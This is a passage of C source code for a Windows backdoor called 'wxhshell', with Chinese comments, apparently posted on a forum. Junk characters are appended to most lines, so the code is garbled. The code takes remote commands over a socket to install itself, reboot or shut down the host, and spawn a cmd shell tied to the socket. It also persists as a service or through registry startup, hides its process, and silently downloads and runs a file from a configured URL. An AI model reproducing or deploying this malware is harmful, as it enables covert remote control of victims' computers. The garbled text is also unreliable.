  "urQUpF  
  // 帮助 tZ6KU11O  
  case '?': { U,+=>ns>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CF$^we  
    break; y\@XW*_?  
  } 0<P -`|X  
  // 安装 y t<K!=7&  
  case 'i': { 4{J%`H`Q!  
    if(Install()) SYC_=X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + 1cK (Si  
    else $)\ocsO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Ol/r=/&  
    break; TSD7.t)^  
    } $MP'j9-S?  
  // 卸载 3N<FG.6  
  case 'r': { xl<Cstr  
    if(Uninstall()) "4ovMan  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N 2x\O~7  
    else -ff*,b$Q/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #PFf`7b,z  
    break; U`:$1*(`  
    } \6sp"KqP  
  // 显示 wxhshell 所在路径 eR;cl$  
  case 'p': { RE*SdazY?  
    char svExeFile[MAX_PATH]; BGUP-_&  
    strcpy(svExeFile,"\n\r"); 8WaVs6  
      strcat(svExeFile,ExeFile); .ipYZg'V  
        send(wsh,svExeFile,strlen(svExeFile),0); fc&4e:Ve  
    break; &| ',o ?'F  
    } ^TDHPBlG  
  // 重启 JA1(yt  
  case 'b': { }b~ZpUL!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =m1B1St2  
    if(Boot(REBOOT)) >-]Y%O;}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y&SueU=  
    else { \E0Uj>9+[  
    closesocket(wsh); B'&%EW]  
    ExitThread(0); 'GNT'y_  
    } [S*bN!t  
    break; d7l0;yR&+  
    } jMZ{>l.v  
  // 关机 4Kx;F 9!%~  
  case 'd': { wLNO\JP'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #,$d!l @  
    if(Boot(SHUTDOWN)) jtN2%w;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RELLQpz3  
    else { CxwZ$0  
    closesocket(wsh); + e4o~ p  
    ExitThread(0); $0{c =r9  
    } iGm[fxQ|  
    break; L%N|8P[  
    } \/'u(|G  
  // 获取shell 72Ft?;R  
  case 's': { N0/DPZX7  
    CmdShell(wsh); ?mrG^TV^+r  
    closesocket(wsh); /Wk\ 6  
    ExitThread(0); LUJKR6oT{>  
    break; l*/I ; a$  
  } @@_f''f$  
  // 退出 @Vc*JEW  
  case 'x': { H}X3nl\]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k%Jw S_F  
    CloseIt(wsh); q]<cn2  
    break; gNN{WFHQX:  
    } @e+QGd;}  
  // 离开 p)Z$q2L  
  case 'q': { mZ*!$P:vy"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A=E1S{C  
    closesocket(wsh);  s y#CR4X  
    WSACleanup(); }<A\>  
    exit(1); [,$] %|6wt  
    break; 2et7Vw  
        } MyAi)Mz~o  
  }  I=|b3-  
  }  [v#t  
hQPiGIs  
  // 提示信息 XkOsnI8n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\D.l^  
} quVTqhg"  
  } vt@.fT#e  
: xB<Rq  
  return; 27G6C`}  
} 0Ocy$  
t%V!SvT8+  
// shell模块句柄 U c$RYPq  
int CmdShell(SOCKET sock) Mb uD8B  
{ XeKIue@_  
STARTUPINFO si; HTvA]-AuM  
ZeroMemory(&si,sizeof(si)); 8( 7DW |\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +P81&CaY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E"nIC,VZ  
PROCESS_INFORMATION ProcessInfo; [C9->`(`  
char cmdline[]="cmd"; +|KnO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ztr,v$  
  return 0; AWc7TW  
} YrL:!\p.  
,QdUfM  
// 自身启动模式 {-09,Q4[&  
int StartFromService(void) Bc`jkO.q  
{ z*"zXL C  
typedef struct uL\ B[<:  
{ r|:i: ii  
  DWORD ExitStatus; U;Y{=07a@  
  DWORD PebBaseAddress; 3g`uLA X>u  
  DWORD AffinityMask; :q<8:,rP  
  DWORD BasePriority; 00[Uk'Q*5  
  ULONG UniqueProcessId; n0:'h}^  
  ULONG InheritedFromUniqueProcessId; oMM`7wJw  
}   PROCESS_BASIC_INFORMATION; HSE9-c =  
g VplBF7{  
PROCNTQSIP NtQueryInformationProcess; m?V4r#t  
 bF0 y`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %l( qyH)*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [?Wt ZM^q  
GBFYa6\4sT  
  HANDLE             hProcess; esIE i!d  
  PROCESS_BASIC_INFORMATION pbi; #qtAFIm'  
]<V[H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MuQyHEDF  
  if(NULL == hInst ) return 0; uckag/tv  
d<r=f"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P4-`<i]!S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q;3.pRw(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N0,wT6.  
*/;[ -9  
  if (!NtQueryInformationProcess) return 0; F#*vJb)  
*$1M= $  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %QCh#v=ks  
  if(!hProcess) return 0; @`^+XPK\  
0&} "!)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u%3D{Dj  
B"ZW.jMaI  
  CloseHandle(hProcess); .DiH)  
AKk6kI8F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tpwMy:<Ex  
if(hProcess==NULL) return 0; Ne!F  p  
,u8)g; 8s  
HMODULE hMod; G1=GzAd$5  
char procName[255]; X`JWYb4  
unsigned long cbNeeded; "7mY s)=  
RB`Emp&T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GVP"~I~/:  
WvQK$}Ax4N  
  CloseHandle(hProcess); *$~H=4t  
N}HQvlLkF9  
if(strstr(procName,"services")) return 1; // 以服务启动 $w4%JBZr  
Cp` [0v~0  
  return 0; // 注册表启动 W ZdEfY{  
} %5Hsd  
\ 'G%%%;4  
// 主模块 N3nFE:`u]  
int StartWxhshell(LPSTR lpCmdLine) mrX 2w  
{ Cgq/#2BM  
  SOCKET wsl; B8 ;jRY  
BOOL val=TRUE; PY- 1 oP  
  int port=0; = _X#JP79  
  struct sockaddr_in door; Q\|72NWS  
2#:/C:  
  if(wscfg.ws_autoins) Install(); (C>FM8$J  
ErIAS6HS'  
port=atoi(lpCmdLine); U ]jHe  
(N{Rda*8  
if(port<=0) port=wscfg.ws_port; 3omFd#EP  
lO3W:,3_a  
  WSADATA data; dfl| 6R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S<HR6Xw  
o=@ 0Bd8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d$Y3 a^O|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +y'V  
  door.sin_family = AF_INET; ^PA >t$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x(pq!+~K  
  door.sin_port = htons(port); |U)m'W-(q  
G347&F)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d*Q:[RUf,  
closesocket(wsl); {5w'.Z]0v  
return 1; (WZKqt)S"o  
} 0goKiPx  
VtIPw&KHW  
  if(listen(wsl,2) == INVALID_SOCKET) { tl9=u-D13@  
closesocket(wsl); |TM&:4D]^  
return 1; E`s9SE  
} >fHg1d2-  
  Wxhshell(wsl); &S[tI$  
  WSACleanup(); o (fZZ`6Y  
g-lF{Z  
return 0; 5y-8_)y8o  
>`L)E,=/  
} ."b=dkx  
$Lg% CY  
// 以NT服务方式启动 =Lx*TbsFYt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]+A>*0#"  
{ :a$ZYyD  
DWORD   status = 0; h<;kj#qbb  
  DWORD   specificError = 0xfffffff; b*$/(2"m  
uMOm<kn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %SORs(4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7 +A-S9P)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bU'{U0lM  
  serviceStatus.dwWin32ExitCode     = 0; {.F``2  
  serviceStatus.dwServiceSpecificExitCode = 0; D~_|`D5WK  
  serviceStatus.dwCheckPoint       = 0; `s74g0h  
  serviceStatus.dwWaitHint       = 0; kB_uU !G  
5c6CH k`:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gNk x]bm  
  if (hServiceStatusHandle==0) return; Y^5X>  
obWBX'  
status = GetLastError(); dv3+x\`9  
  if (status!=NO_ERROR) &X0/7)*"v  
{ nsR^TD;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uV1H iv-  
    serviceStatus.dwCheckPoint       = 0; bDd$79@m  
    serviceStatus.dwWaitHint       = 0; +<&\*VR  
    serviceStatus.dwWin32ExitCode     = status; V lb L p;  
    serviceStatus.dwServiceSpecificExitCode = specificError; _J^q|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7+] T}4;  
    return; T3 xr Ua&  
  } `< 8Fc`;[  
N,v4SIC@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *;A I0  
  serviceStatus.dwCheckPoint       = 0; Q]X0 O10  
  serviceStatus.dwWaitHint       = 0; 48,Aq*JFw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SPKen}g  
} ?m-kpW8  
Y68`B"3  
// 处理NT服务事件,比如:启动、停止 9HMW!DSK`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <}'hkEh{d=  
{ : sIZ+3  
switch(fdwControl) G#V5E)Dx  
{ w`XwW#!}@$  
case SERVICE_CONTROL_STOP: Yo0%5 noz  
  serviceStatus.dwWin32ExitCode = 0; 7Cf%v`B4D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FI@2K M  
  serviceStatus.dwCheckPoint   = 0; ^9T6Ix{=  
  serviceStatus.dwWaitHint     = 0; EFeGxM  
  { '>FJk`iI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H8 yc<  
  } KLBV(`MS  
  return; -,j J{Y~  
case SERVICE_CONTROL_PAUSE: .XM3oIaW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rN#ydw:9  
  break; _DfI78`(  
case SERVICE_CONTROL_CONTINUE: 5vIuH+0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1xK'T_[  
  break; 0@a6r=`el  
case SERVICE_CONTROL_INTERROGATE: 8 OC5L1  
  break; ;aYPv8s~,:  
}; Wo5G23:xz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bu"Jb4_a>  
} N]cGJU>$  
Y+N^_2@+C  
// 标准应用程序主函数 ^5vFF@to  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p-V#nPb  
{ ixN>KwH  
aq3evm  
// 获取操作系统版本 :6LOb f\01  
OsIsNt=GetOsVer(); cqeId&Cg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G-oC A1UdN  
b><jhbv  
  // 从命令行安装 M"F?'zTkJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); #f]R:Ix>  
gUDd2T#  
  // 下载执行文件 0 O4'Ts ?  
if(wscfg.ws_downexe) { 9m 56oT'U{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "hz(A.THi  
  WinExec(wscfg.ws_filenam,SW_HIDE); s<0yQ-=.?N  
} Vja' :i  
FVLXq0<Cj  
if(!OsIsNt) { L]0+ u\(  
// 如果时win9x,隐藏进程并且设置为注册表启动 IDBhhv3ak  
HideProc(); +AyQ4Q(-o  
StartWxhshell(lpCmdLine); xMg&>}5  
} MnFem $ @  
else G~)jk+Qq  
  if(StartFromService()) _J&u{  
  // 以服务方式启动 rPK?p J  
  StartServiceCtrlDispatcher(DispatchTable); GN{\ccej  
else )<4o"R:*  
  // 普通方式启动 4,f[D9|:  
  StartWxhshell(lpCmdLine); (]j*)~=V  
uR)itmc?  
return 0; 'xZxX3  
}
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只看该作者 1 发表于: 2006-10-10
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